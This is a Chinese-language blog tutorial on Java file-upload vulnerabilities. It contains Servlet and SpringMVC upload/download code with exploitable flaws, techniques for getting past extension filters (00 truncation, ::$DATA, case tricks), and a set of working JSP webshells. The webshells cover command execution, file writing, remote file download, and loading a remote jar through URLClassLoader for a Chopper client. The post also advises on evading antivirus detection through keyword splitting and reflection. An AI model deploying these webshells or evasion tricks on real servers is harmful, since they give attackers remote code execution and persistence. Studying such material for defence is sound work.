JAVA文件上传漏洞

1. JAVA文件上传

Java上传依靠apache的common-fileupload.jar组件,该组件依赖于commons-io.jar,无论是Servlet还是SpringMVC都依靠这两个文件

1.1 jsp和servlet方式

public void ImgUploadServlet(HttpServletRequest request,HttpServletResponse response) throws Exception {
        request.setCharacterEncoding("utf-8");
        response.setCharacterEncoding("utf-8");
        response.setContentType("text/html;charset=UTF-8");
        boolean isMultipart= ServletFileUpload.isMultipartContent(request);
        if (isMultipart){//判断前台form是否有Mutipart属性
            DiskFileItemFactory fileItemFactory=new DiskFileItemFactory();
            ServletFileUpload upload=new ServletFileUpload(fileItemFactory);
 
            //设置上传文件时用到的临时文件-DiskFileItemFactory
            fileItemFactory.setSizeThreshold(1024*10);//设置临时缓冲文件大小10kb
            fileItemFactory.setRepository(new File("E:\\Bug_Demo\\xxe-lab-master\\ssm02_18\\target\\ssm02_18\\temp_upload"));//设置临时文件目录
            upload.setSizeMax(1024*30);//字节B

            //解析form中所有字段保存到items集合中
            List<FileItem> items=upload.parseRequest(request);//文件解析
            //遍历items中的数据
            Iterator<FileItem> iterator=items.iterator();
            while (iterator.hasNext()){
                FileItem item=iterator.next();
                String itemName=item.getFieldName();//getFileName获取普通表单字段name值
                int sno=-1;
                String sname=null;
                //判断前台字段是普通form表单字段还是文件字段
                if(item.isFormField()){//request.getParameter -- iter.getString
                    if (itemName.equals("sno")){//根据name属性判断item是哪个字段
                        sno=Integer.parseInt(item.getString());
                    }
                    else if(itemName.equals("sname")){
                        sname=item.getString();
                    }
                    else {
                        System.out.println("其他字段");
                    }
                }
                else {
                    String filename=item.getName();//getName()获取文件名
                    //判断文件类型
                    String ext=filename.substring(filename.indexOf('.')+1);
                    if (ext.equals("png") || ext.equals("gif") || ext.equals("jpg")){
                        System.out.println("图片格式有误!只能是png、gif、jpg");
                        return ;
                    }
                    //指定上传位置并上传
//                  String path=request.getSession().getServletContext().getRealPath("upload");
                    String path="E:\\Bug_Demo\\xxe-lab-master\\ssm02_18\\target\\ssm02_18\\upload";
                    File file=new File(path,filename);
                    item.write(file);//上传
                    System.out.println(filename+"上传成功");
                }
            }
        }
    }

getRealPath获取上传目录upload,可能会遇到文件夹不存在。因为,对代码进行修改后再重新启动tomcat时,tomcat会重新编译一份class并重新部署(重新创建各种目录),因此为防止上传目录丢失,可以设置虚拟路径或者直接更换上传目录到非tomcat目录。

文件下载:
下载不依赖任何jar,接收用户请求,将文件转为输入流读到Servlet然后通过输出流输出。

public void ImgDown(HttpServletRequest request,HttpServletResponse response) throws IOException {
        request.setCharacterEncoding("utf-8");
        //获取需要下载的文件名
        String filename=request.getParameter("filename");
        //下载文件需要设置两个消息头
        response.addHeader("content-Type","application/octet-stream");//二进制文件
        response.addHeader("content-Disposition","attachment;filename="+filename);//filename包含文件后缀
        //servlet通过文件地址将文件转为输入流读到Servlet
        InputStream inputStream=getServletContext().getResourceAsStream("E:\\Bug_Demo\\xxe-lab-master\\ssm02_18\\target\\ssm02_18\\upload\\a.PNG");
        //通过输出流将输入流转为文件输出
        ServletOutputStream servletOutputStream=response.getOutputStream();
        byte[] bytes=new byte[10];
        int len=-1;
        while((len=inputStream.read(bytes))!=-1){
            servletOutputStream.write(bytes,0,len);
        }
        servletOutputStream.close();
        inputStream.close();
    }

1.2 SpringMVC方式

MVC可以简化上传代码,但是必须满足条件,实现MultipartResolver接口。SpringMVC已经提供了该接口的实现类—CommonsMultipartResolver。
配置方式是,在web.xml引入前文提到的文件上传所需的两个jar包,然后在springmvc.xml中配置CommonsMultipartResolver类,将其加入IOC容器

    <!--配置CommonsMultipartResolver用于实现文件上传-->
    <bean id="multipartResolver" class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
        <property name="defaultEncoding" value="UTF-8"/>
        <!--上传单个文件的最大值,value如果为-1则没有限制-->
        <property name="maxUploadSize" value="102400" />
    </bean>

MVC相比于servlet方式要简单很多,直接通过文件流来处理即可。form中的字段也不需要item来获取,直接通过@RequestParam获取。
a.FileOutputStream方式

@RequestMapping("/MVCUpload")
    public String MVCUpload(@RequestParam( "description" ) String description, @RequestParam("file") MultipartFile file) throws IOException {
        System.out.println("文件描述信息:"+description);
        InputStream inputStream=file.getInputStream();
        String fileName=file.getOriginalFilename();
        OutputStream outputStream=new FileOutputStream("E:\\Bug_Demo\\"+fileName);
        byte[] bytes=new byte[10];
        int len=-1;
        while((len=inputStream.read(bytes))!=-1){
            outputStream.write(bytes,0,len);
        }
        outputStream.close();
        inputStream.close();
        //将file上传到服务器中的某个硬件中
        System.out.println("文件上传成功");
        return "success";
    }

b.FileWrite方式

@RequestMapping("/MVCUpload_FileWriter")
    public void MVCUpload_FileWriter(@RequestParam( "description" ) String description, @RequestParam("file") MultipartFile file,HttpServletRequest request, HttpServletResponse response) throws IOException {
        System.out.println("文件描述信息:"+description);
        String filename=file.getOriginalFilename();
        File file1=new File("E:\\Bug_Demo\\"+filename);
        FileWriter fileWriter=new FileWriter("E:\\Bug_Demo\\"+filename);
        file.transferTo(file1);
        FileReader chr=new FileReader(file1);
        char []buf = new char[1024];
        int len = -1;
        if (filename!=null){
            String ext=filename.substring(filename.indexOf('.')+1);
            if (ext.equals("png") || ext.equals("gif") || ext.equals("jpg")){
                while ((len=chr.read(buf))!=-1){
                    fileWriter.write(buf,0,len);
                }
                System.out.println("文件上传成功");
            }
            else {
                System.out.println("文件格式有误!");
                response.sendRedirect(request.getContextPath());
            }
        }
        if (file1.isFile()) {
            file1.delete();
        }
        chr.close();
        fileWriter.close();
    }

c.PrintWriter方式
将上面FileWriter换成PrintWriter即可。

SpringMVC文件下载代码如下:

@RequestMapping("/MVCDownload")
    public void MVCDownload(@RequestParam( "filename" ) String filename,HttpServletRequest request,HttpServletResponse response) throws IOException {
        byte[] bytes=new byte[10];
        int len=-1;
        try{
            InputStream inputStream=new FileInputStream("E:\\Bug_Demo\\"+filename);
            response.setCharacterEncoding("utf-8");
            response.setContentType("text/html;charset=UTF-8");
            response.addHeader("content-Type","application/octet-stream");//二进制文件
            response.addHeader("content-Disposition","attachment;filename="+filename);
            while ((len=inputStream.read(bytes))>0){
                response.getOutputStream().write(bytes,0,len);
            }
            response.getOutputStream().close();
            inputStream.close();
        }
        catch (Exception e){
            e.printStackTrace();
        }
    }

前台下载链接如下

<a href="MVCDownload?filename=a.txt">教程下载</a>

由于下载功能并没有对filename参数值进行检查,因此也存在任意文件下载漏洞。用burp拦截,将filename换成服务器上的其他文件,如图,得到相应内容。


文件任意下载漏洞

2. 文件上传漏洞

文件上传漏洞指攻击者利用系统缺陷绕过对文件的验证和处理,将恶意文件上传到服务器并进行利用。常见利用方式包括上传配置文件、木马和病毒、包含脚本的图片等。

2.1 文件上传漏洞绕过方式

(1)js绕过

<script type="text/javascript">
    function checkFile() {
        var file=document.getElementById("upload_file").value;
        alert(file);
        if (file==null||file==""){
            alert("请选择要上传的文件")
            return false;
        }
        var allow_ext=".jpg|.png|.gif";
        var ext_name=file.substring(file.lastIndexOf("."));
        if (allow_ext.indexOf(ext_name)==-1){
            var errMsg="该文件不允许上传";
            alert(errMsg);
            return false;
        }
    }
</script>

如上述js的前端判断,我们可以通过禁用js或者在burp中设置remove all javascript来绕过。

(2)后缀名绕过
Burpsuite截断HTTP请求,利用Intruder模块进行枚举后缀名,寻找黑名单中没有过滤的后缀名。接收HTTP请求,send to intruder,选中变量,在Payloads中加载相应的字典。

a.绕过黑名单
后缀名绕过可以分为大小写绕过、空格绕过、'.'点号绕过(windows系统下文件名最后一个点号会被自动去除)、特殊符号绕过(如在末尾添加::$DATA或:)、路径拼接绕过、双写绕过

b.绕过白名单
00截断(0x00是十六进制标识方法,是ascii码0为字符,在有些函数处理时,会把这个字符当作结束符。系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束)。1.jsp0x00.jpg 这个文件被认为是jpg文件,但服务器会忽略后面的jpg,认为是jsp文件。GET型00截断:GET型提交的内容会被自动进行URL转码,一定要关闭GPC,否则无法成功。POST型00截断:在POST请求中,%00不会被自动解码,需要在16进制中进行修改00。00截断的具体原理可以参考http://gv7.me/articles/2019/java-00-truncation-detail/
需要注意的是JAVA版本需要小于jdk 7u40,00截断才能生效。

3. jsp木马

3.1 知识补充

一般JSP文件利用JAVA反射机制和JAVA类加载机制构造系统命令执行后门,并绕过一般软件检测方法。

3.1.1 JAVA命令执行方法

JAVA执行系统命令主要有两个类来实现java.lang.Runtimejava.lang.ProcessBuilder,而这两个类都是对java.lang.Process抽象类的实现。

JAVA语言执行系统命令相关类和方法的调用关系

ProcessBuilder方法如下

ProcessBuilder pb=new ProcessBuilder(cmd); 
pb.start();

Runtime方法如下

Runtime.getRuntime().exec(cmd)

下面一些简单payload demo中,Runtime、exec等关键字都会被查杀软件检测到,所以可以使用ProcessBuilder类建立一个不会轻易被杀的命令执行后门。
一般常见的敏感词包含cmd、spy、exec、shell、execute、system、command等。可以通过拆解关键词来绕过。对于回显一般BufferefReader等常见手段也会被检测,可以使用Scanner等接收回显。fileSeparator可以用来判断操作系统类型。
制作好的jsp木马可以放入virustotal、shellpub.com、D盾、安全狗等进行检测,查看是否会被查杀。

3.1.2 JAVA反射机制

对于JAVA反射机制有一段官方描述:
Java Reflection makes it possible to inspect classes, interfaces, fields and methods at runtime, without knowing the names of the classes, methods etc. at compile time. It is also possible to instantiate new objects, invoke methods and get/set field values using reflection
利用反射机制来反射Runtime、ProcessBuilder、ProcessImpl来执行系统命令是绕过查杀的一种手段。

反射机制在运行状态中,对于任意一个类可以知道这个类所有的属性和方法,对于任意一个对象,能够调用它的任意一个方法和属性,还可以生成动态代理。java反射机制demo如下:
首先创建一个实现类

//reflectImpl.java
package org.example.service.impl;

import org.example.service.reflectInterface;

public class reflectImpl implements reflectInterface {
    private int id;
    private String name;
    private int age;
    public int getId() {
        return id;
    }
    public void setId(int id) {
        this.id = id;
    }
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
    public reflectImpl() {
    }
    public reflectImpl(int id) {
        this.id = id;
    }
    private reflectImpl(String name) {
        this.name = name;
    }
    public reflectImpl(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }
    @Override
    public void reflectInterfaceMethod() {
        System.out.println("interfaceMethod...");
    }
    public void staticReflectInterfaceMethod() {
        System.out.println("static interfaceMethod...");
    }
    private void privateReflectInterfaceMethod() {
        System.out.println("private interfaceMethod...");
    }
    private void privateMethod(String name) {
        System.out.println("private Method..."+name);
    }
}

反射相关方法调用实例如下:

package test;

import com.sun.xml.internal.bind.v2.model.core.ID;
import org.example.service.impl.reflectImpl;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;

public class reflect {
    //通过反射获取类
    public static void GetClass(){
        //获取反射对象(反射入口):class,三种方式
        //1.Class.forName(全类名)
        try{
            Class<?> refClass=Class.forName("org.example.service.impl.reflectImpl");
            System.out.println(refClass);
        }
        catch (ClassNotFoundException e){
            e.printStackTrace();
        }
        //2.xx.class
        Class<?> refClass2=reflectImpl.class;
        System.out.println(refClass2);
        //3.对象.getClass()
        reflectImpl ref1=new reflectImpl();
        Class<?> refClass3=ref1.getClass();
        System.out.println(refClass3);
    }
    public static void GetMethod() throws IllegalAccessException, InstantiationException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException {
        //先获取class入口
        Class<?> refClass=null;
        try{
            refClass=Class.forName("org.example.service.impl.reflectImpl");
            System.out.println(refClass);
        }
        catch (ClassNotFoundException e){
            e.printStackTrace();
        }
        System.out.println("获取所有的公共方法");
        //获取所有的公共方法(本类、父类及接口中的所有方法并符合修饰符规律)
        Method[] methods=refClass.getMethods();
        for (Method method:methods){
            System.out.println(method);
        }

        //获取当前类的所有方法(限制于当前类,忽略访问修饰符限制)
        System.out.println("获取当前类的所有方法");
        Method[] methodsAll=refClass.getDeclaredMethods();
        for (Method method:methodsAll){
            System.out.println(method);
        }

        //获取所有的接口
        System.out.println("获取所有的接口");
        Class<?>[] interfaces=refClass.getInterfaces();
        for (Class<?> inter:interfaces){
            System.out.println(inter);
        }
        //获取所有父类
        System.out.println("获取所有父类");
        Class<?> superclass=refClass.getSuperclass();
        System.out.println(superclass);
        //获取所有构造方法
        System.out.println("获取所有构造方法");
        Constructor<?>[] constMethods=refClass.getConstructors();//如果是本类全部构造方法用getDeclaredConstructors
        for(Constructor<?> constructor:constMethods){
            System.out.println(constructor);
        }
        //获取指定的构造方法
        Constructor<?> constructor=refClass.getConstructor(int.class);
        System.out.println(constructor);
        //获取私有的构造方法
        Constructor<?> privateconstructor=refClass.getDeclaredConstructor(String.class);
        System.out.println(privateconstructor);
        //构造方法可以创建对象
        reflectImpl instance=(reflectImpl) constructor.newInstance(5);//是否传参根据构造方法决定
        System.out.println(instance);
        //获取所有的公共属性
        System.out.println("获取所有的公共属性");
        Field[] fields=refClass.getFields();
        for (Field field:fields){
            System.out.println(field);
        }
        //获取所有的属性
        System.out.println("获取所有的属性");
        Field[] fieldsAll=refClass.getDeclaredFields();
        for (Field field:fieldsAll){
            System.out.println(field);
        }
        //获取当前反射所代表类(接口)的对象,并操作对象、属性
        System.out.println("获取当前反射所代表类(接口)的对象,并操作对象");
        Object newInstance=refClass.newInstance();
        reflectImpl ref1=(reflectImpl) newInstance;
        ref1.reflectInterfaceMethod();
        ref1.setId(1);
        ref1.setName("zhangsan");
        ref1.setAge(24);
        System.out.println(ref1.getId()+","+ref1.getName()+","+ref1.getAge());
        //操作属性
        Field IDfield=refClass.getDeclaredField("id");
        //id是private的,需要修改属性访问权限才能访问
        IDfield.setAccessible(true);
        IDfield.set(ref1,2);//ref1.setID(2)
        System.out.println(ref1.getId());
        //操作方法
        Method Method=refClass.getDeclaredMethod("privateReflectInterfaceMethod",null);
        Method.setAccessible(true);//访问private方法先改变权限
        Method.invoke(ref1,null);//方法调用:invoke
        //操作含参方法
        Method Methodarg=refClass.getDeclaredMethod("privateMethod",String.class);//类型.class为反射入口
        Methodarg.setAccessible(true);
        Methodarg.invoke(ref1,"zhangsan");

    }
    //反射可以越过泛型检查
    public static void crossCheck() throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {
        ArrayList<Integer> list=new ArrayList<>();
        Class<?> listClass=list.getClass();
        Method method=listClass.getMethod("add",Object.class);//add方法参数设为Object
        method.invoke(list,"zhangsan");
        System.out.println(list);
    }

    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException {
        GetMethod();
    }
}

3.2 jsp木马脚本

(1)命令执行
无回显

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

http://ip:port//upload/1.jsp?cmd=ls

有回显

<%@ page language="java" contentType="text/html; charset=GBK"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>一句话木马</title>
    </head>

    <body>
        <%
        if ("admin".equals(request.getParameter("pwd"))) {
            java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int len = -1;
            byte[] bytes = new byte[4092];
            out.print("<pre>");
            while ((len = input.read(bytes)) != -1) {
                out.println(new String(bytes, "GBK"));
            }
            out.print("</pre>");
        }
    %>
    </body>
</html>

http://ip:port//upload/1.jsp?pwd=admin&cmd=ls

(2)文件写入

<%
    // ISO-8859-1 输入
    new java.io.FileOutputStream(request.getParameter("file")).write(request.getParameter("content").getBytes());
    // UTF-8 输入
    new java.io.FileOutputStream(request.getParameter("file")).write(new String(request.getParameter("content").getBytes("ISO-8859-1"), "UTF-8").getBytes());
    // Web 目录写入
    new java.io.FileOutputStream(application.getRealPath("/") + "/" + request.getParameter("filename")).write(request.getParameter("content").getBytes());
    // 功能更加丰富的写入
    new java.io.RandomAccessFile(request.getParameter("file"),"rw").write(request.getParameter("content").getBytes());
%>

http://ip:port//upload/1.jsp?file=/User/wwwroot/1.txt&content=1234
http://ip:port//upload/1.jsp?file=1.txt&content=1234

(3)下载远程文件

<%
    java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();
    byte[] b = new byte[1024];
    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
    int a = -1;
    while ((a = in.read(b)) != -1) {
        baos.write(b, 0, a);
    }
    new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray());
//new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());
%>

http://ip:port//upload/1.jsp?file=/User/wwwroot/1.txt&u=http:/content/file.txt

(4)反射调用外部jar

<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%>

http://ip:port//upload/1.jsp?u=http://XXX/cat.jar&023=A
菜刀连接
http://ip:port//upload/1.jsp?u=http://XXX/cat.jar 023

4. 工具

上传漏洞Fuzz字典生成脚本
https://github.com/c0ny1/upload-fuzz-dic-builder
jsp webshell
https://github.com/LandGrey/webshell-detect-bypass/tree/master/webshell/jsp
jsp webshell bypass
https://github.com/LandGrey/webshell-detect-bypass/blob/master/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/using-java-reflection-and-ClassLoader-bypass-webshell-detection.md

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,240评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,328评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,182评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,121评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,135评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,093评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,013评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,854评论 0 273
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,295评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,513评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,678评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,398评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,989评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,636评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,801评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,657评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,558评论 2 352

推荐阅读更多精彩内容

  • 什么是文件上传漏洞? 文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其...
    Smi1e_阅读 24,737评论 0 24
  • 原文地址:https://xz.aliyun.com/t/6357 1. 文件上传漏洞 1.1 漏洞简介 ​ 文件...
    这是什么娃哈哈阅读 1,692评论 0 0
  • 本篇文章介绍如何从常规攻击的防御能力来评测一款WAF。一共覆盖了十六种攻击类型,每种类型均从利用场景(攻击操作的目...
    生活的探路者阅读 1,269评论 0 4
  • 一、SQL注入(注入) 1. 利用场景 从攻击者进行SQL注入的阶段来看,一般分为探测与攻击两个阶段(p.s.攻击...
    LizPL阅读 2,342评论 0 0
  • 西北区:李秀连报道 2019年11月29日,山西大同平城文宣课堂的全体志愿者在承办人魏淑云和记检赵志姣的带...
    梅飘香怡阅读 379评论 0 1